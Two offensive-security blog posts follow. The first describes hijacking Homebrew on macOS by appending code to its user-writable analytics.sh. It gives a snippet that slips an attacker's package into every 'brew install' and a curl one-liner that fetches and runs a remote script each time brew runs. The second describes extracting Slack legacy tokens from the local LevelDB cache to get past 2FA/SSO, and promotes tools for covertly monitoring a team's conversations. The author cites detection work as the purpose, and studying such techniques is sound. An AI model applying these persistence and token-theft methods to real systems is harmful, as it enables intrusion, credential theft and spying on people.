HomeBrood 0x00 - Surreptitious hijacking of Homebrew on macOS

Written by noncetonic


I thought it might be fun to poke at Homebrew and see what kind of things I could find. Welcome to the beginning of what I hope will be a small but fun series of posts on abusing HomeBrew.

HomeBrood 0x00

Homebrew Analytics

By default, homebrew is set to phone home to Google Analytics over HTTPS and provide a number of known, documented, metadata strings claimed by the Homebrew team to help maintainers and as such “leaving it on is appreciated”.

The more paranoid-inclined user seeking to cut down on the data they freely hand over to Google and other analytic companies may already know to disable analytics right after installing homebrew and before going off and installing packages. Unfortunately, as will be shown homebrew analytics can be far more dangerous than it would appear.

Check out https://github.com/Homebrew/brew/blob/master/docs/Analytics.md to read more about the information gathered by Homebrew Analytics and how to disable this feature or just run brew analytics off to disable Homebrew Analytics if brew analytics does not return “Analytics is disabled.”


Reading through /usr/local/Homebrew/Library/Homebrew/brew.sh reveals an interesting opportunity for a number of possible scenarios for attacks but a basic example of persistence will be provided here to keep with the context of this file.

# Don't need shellcheck to follow this `source`.
# shellcheck disable=SC1090
source "$HOMEBREW_LIBRARY/Homebrew/utils/analytics.sh"

From /usr/local/Homebrew/Library/Homebrew/brew.sh

First and foremost the $HOMEBREW_LIBRARY/Homebrew/utils/analytics.sh file (full, expanded path /usr/local/Homebrew/Library/Homebrew/utils/analytics.sh) is sourced blindly without attempting to ensure the file even exists and then proceeds to run the newly exported setup-analytics function donated by analytics.sh. This means that even when Homebrew Analytics has been explicitly disabled on a system it is not until after all code within analytics.sh is run that Homebrew checks whether or not analytics should be sent.

It’s simple to see how easily the user-owned, user-writeable analytics.sh file can be abused by simply adding commands to the end of the analytics.sh file or within the setup-analytics function, hell you’re free to write your own bash script altogether and including an empty setup-analytics function to keep from causing an error. This all happens pretty early on in the logic for subcommands of the brew command; shortly after determining the subcommand and well before processing package names and subcommand options are slurped in for processing. This makes it possible to pass a malicious package name during a brew install command in addition to running just about anything you want.

Let’s explore some of these attacks and their implementation.

Hijacking brew install

Add the following tiny modification at the bottom of the analytics.sh file

# Prepend a defined package to all invocations of `brew install`
if [[ "$HOMEBREW_COMMAND" = "install" ]]

Nice and easy. As the analytics.sh file is sourced into brew.sh we are lucky enough to have access to the $HOMEBREW_COMMAND variable which holds the subcommand sent to the brew command as well as $@ which contains the arguments passed to the subcommand.

Presumably the possibly most esoteric bit of code here for beginner BASH scripters is the line starting with set.
The set command allows rearranging the order of the arguments passed on the commandline and in this example simply prepends whichever package you choose to the list of arguments the user provided which ensures our desired package is installed first and can hopefully get lost in the wall of text generated during a brew install.

This same concept can be applied to run any commands you want, you are not limited to simply brew commands. For example if you’d just like to have a compromised host send a request to a server wehenever brew is run as a way of gaining access to the network in case of being forcefully ejected from the network or just because networks are hard a simple script could be written which sends a GET request to a remotely hosted file and executing any commands within that file.

bash <(curl -s https://gist.githubusercontent.com/n0ncetonic/1d965369574a413b4dd1e4514e27992a/raw/675a9546c6ecdb46ce5a6b13a7faf63428359e53/example.sh)

Adding this simple one-liner into analytics.sh will cause the contents of the remote file to be run whenever brew is run.


These PoCs are intended to be used as demos in aiding teams attempting to write detections around TTPs which could be leveraged by threat actors to avoid triggering common persistence detection checks . The potential for far more complex payloads which take advantage of this Technique are the responsibility of the reader to create.

If you do happen to come up with something fun that takes advantage of this simple brew command hijack please let me know via twitter @noncetonic

Acquiring and Abusing Slack Legacy Tokens on macOS

Written by noncetonic


Right on the tails of my last post that detailed a token theft attack on macOS, today I’m sharing yet another procedure for acquiring and abusing tokens found on a macOS system.

Included with this post are two github projects, one which helps extract the tokens from Slack, and another which leverage the tokens for incognito logging and monitoring of a Slack team.

Legacy Tokens

So what exactly are “Legacy tokens” ?

These tokens were associated with legacy custom integrations and early Slack integrations requiring an ambiguous “API token.” They were generated using the legacy token generator and are no longer recommended for use. They take on the full operational scope of the user that created them. If you’re building a tool for your own team, we encourage creating an internal integration with only the scopes it needs to work. From: https://api.slack.com/docs/token-types#legacy

Slack’s documentation on these tokens is unfortunately useless, save the mention that they are scoped to the individual user rather than the team as a whole (similar to what we would see with bot users).

What I’ve managed to piece together is that Legacy Tokens work for a large portion of Slack’s current API endpoints but has some hiccups with more modern endpoints such as some of the calls to the Conversations API. The RTM (Real Time Messaging) API in particular appears to be the perfect usecase for Legacy Tokens.

One thing that became quickly obvious was that the Slack desktop client which heaviliy leverages a websocket connection for communication with the Slack servers mimicks a real-world implementation of the RTM API and during the initial login by a user to a team is making use of OAUTH to generate a valid token for the user which will allow the desktop client to provide the user with all of its functionality.

It is during this authentication flow that I believe the Slack desktop client is granted a Legacy Token due to it being Slack’s official client; despite the fact that these tokens are not generated for developers and Slack encourages anyone with a Legacy Token to upgrade to more modern tokens. Best of all, it appears that reusing a Legacy Token allows bypassing 2FA/SSO.

Perfect :)

Legacy tokens can be identified by starting with the characters xoxs-. This is in contrast to User tokens (xoxp-), Bot tokens (xoxb-), and Workspace tokens (xoxa-2 and xoxr-).

Acquiring Legacy Tokens

Slack stores a copy of currently used Legacy Tokens for a user across all the teams the user is actively authenticated to. These tokens can be found in the LevelDB cache stored on disk and located on macOS at $HOME/Library/Application\ Support/Slack/Local\ Storage/leveldb/.

The LevelDB files appear to use an 8-bit ASCII variant (ASCII is generally a 7-bit character encoding) ISO-8859-1 which can cause issues when attempting to read the files using a terminal.

To help mitigate the encoding issue and automate the process of dumping tokens I wrote a script in Ruby called toke_em.

toke_em using the standard version of ruby installed on macOS with no third party gems so it is ready to run on a system of your choice with no additional dependencies.

Abusing Legacy Tokens

Originally I had decided to leave implementation of tokens acquired with toke_em into useful tooling as an exercise to users of toke_em. A few nights ago I realized I should probably write a tool of my own to leverage Legacy Tokens and set off on writing my own terminal-based Slack client with the purpose of covertly monitoring conversations. I also opted to skip implementing any features that could potentially send input that would result in alerting the user in any way.

After I got things working and showed some friends I decided I’d share my client with the internet.


Read-only Slack RTM API client for spying on teams.

Respite is a terminal based, read-only client for Slack’s RTM API which authenticates using auth tokens to bypass 2FA and SSO.

Respite is still under active development and new features will continue to be added near future and serves as a PoC demo for showcasing the full extent of the usefulness of Legacy Tokens extracted with toke_em. Respite can be downloaded from the Blacksun Labs github


That’s all for now. Make sure to star and watch respite on Github to get updates on new features.

Until next time, n0ncetonic